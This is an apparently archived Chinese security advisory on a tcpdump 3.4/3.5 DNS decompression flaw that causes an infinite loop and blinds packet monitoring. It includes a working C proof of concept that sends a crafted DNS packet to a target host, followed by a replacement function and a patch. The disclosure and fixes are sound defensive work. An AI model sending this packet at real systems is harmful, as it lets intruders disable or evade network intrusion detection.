安全研究
安全漏洞
Tcpdump DNS 解码漏洞
发布日期:2000-05-07
更新日期:2000-05-08
受影响系统:
描述:
LBL tcpdump 3.5
LBL tcpdump 3.4
LBL tcpdump在监听过程中试图解析DNS请求查询报文,但是DNS解码部分存在一个问
题。DNS命名机制采用了压缩策略,完全可以创建一个DNS报文,使得tcpdump抓到该
包进行名字解压处理的时候进入无限循环,于是tcpdump无法处理后续报文。如果
tcpdump正好用于入侵检测系统,利用这个漏洞入侵者就可以避开监视系统。如果
tcpdump并不在线显示,而是保存到日志文件中,就不会立即受该漏洞影响,因为并
没有企图解析DNS报文。然而,利用tcpdump读取日志文件离线显示的时候,该漏洞
依旧有效。
<* 来源: bretonh@PARANOIA.PGCI.CA *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
* dnsloop.c by Hugo Breton (bretonh@pgci.ca)
* This program illustrates the bug in tcpdump when handling jumps in the DNS
* hostname decompression.
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
int main ( int argc, char * argv[] )
{
char p[18];
int sock;
struct sockaddr_in sin;
struct hostent * hoste;
printf( "dnsloop.c by Hugo Breton (bretonh@pgci.ca)\n" );
if ( argc < 2 )
{
printf( "usage: %s host\n", argv[0] );
return( 0 );
}
bzero( ( void * )&sin, sizeof( sin ) );
sin.sin_family = AF_INET;
sin.sin_port = htons( 53 );
if ( ( sin.sin_addr.s_addr = inet_addr( argv[1] ) ) == -1 )
{
if ( ( hoste = gethostbyname( argv[1] ) ) == NULL )
{
printf( "unknown host %s\n", argv[1] );
return( 0 );
}
bcopy( hoste->h_addr, &sin.sin_addr.s_addr, 4 );
}
bzero( ( void * )p, 18 );
*( ( unsigned short * )( p + 0 ) ) = htons( 867 - 5309 );
*( ( unsigned short * )( p + 4 ) ) = htons( 1 );
*( ( unsigned short * )( p + 12 ) ) = htons( 32768 + 16384 + 12 );
*( ( unsigned short * )( p + 14 ) ) = htons( 1 );
*( ( unsigned short * )( p + 16 ) ) = htons( 1 );
if( ( sock = socket( AF_INET, SOCK_DGRAM, 0 ) ) == -1 )
{
printf( "unable to create UDP socket\n" );
return( 0 );
}
if( sendto( sock, p, 18, 0, ( struct sockaddr * )&sin, sizeof( sin ) ) == -1 )
{
printf( "unable to send packet\n" );
return( 0 );
}
printf( "packet sent to host %s\n", argv[1] );
return( 0 );
}
<* 来源:Hugo Breton bretonh@paranoia.pgci.ca *>
解决方案:
Hugo Breton建议用如下代码替换原来的 ns_nprint 函数:
static const u_char * ns_nprint
( register const u_char * cp, register const u_char * bp )
{
register u_int i, j;
register const u_char * rp;
register int compress;
i = *cp++;
j = 0;
rp = cp + i;
if ( ( i & INDIR_MASK ) == INDIR_MASK )
{
rp = cp + 1;
compress = 1;
}
else
{
compress = 0;
}
if ( i != 0 )
{
while ( ( i && cp < snapend ) && ( j < 256 ) )
{
j++;
if ( ( i & INDIR_MASK ) == INDIR_MASK )
{
cp = bp + ( ( ( i << 8 ) | *cp ) & 0x3fff );
i = *cp++;
continue;
}
if ( fn_printn( cp, i, snapend ) )
{
break;
}
cp += i;
putchar( '.' );
i = *cp++;
if ( !compress )
{
rp += i + 1;
}
}
}
else
{
putchar( '.' );
}
return( rp );
}
建议:
一个临时的补丁程序:
--- print-domain.orig Wed May 3 23:33:13 2000
+++ print-domain.c Thu May 4 00:22:05 2000
@@ -150,6 +150,7 @@
{
register u_int i;
register const u_char *rp;
+ register const u_char *old = NULL;
register int compress;
i = *cp++;
@@ -162,8 +163,17 @@
if (i != 0)
while (i && cp < snapend) {
if ((i & INDIR_MASK) == INDIR_MASK) {
- cp = bp + (((i << 8) | *cp) & 0x3fff);
- i = *cp++;
+ cp = bp + (((i << 8) | *cp) & 0x3fff);
+
+ /*
+ * If we got two time the same data ptr,
+ * this mean we are looping.
+ */
+ if ( cp == old)
+ return NULL;
+ old = cp;
+
+ i = *cp++;
continue;
}
if (fn_printn(cp, i, snapend))
浏览次数:6659
严重程度:0(网友投票)
绿盟科技给您安全的保障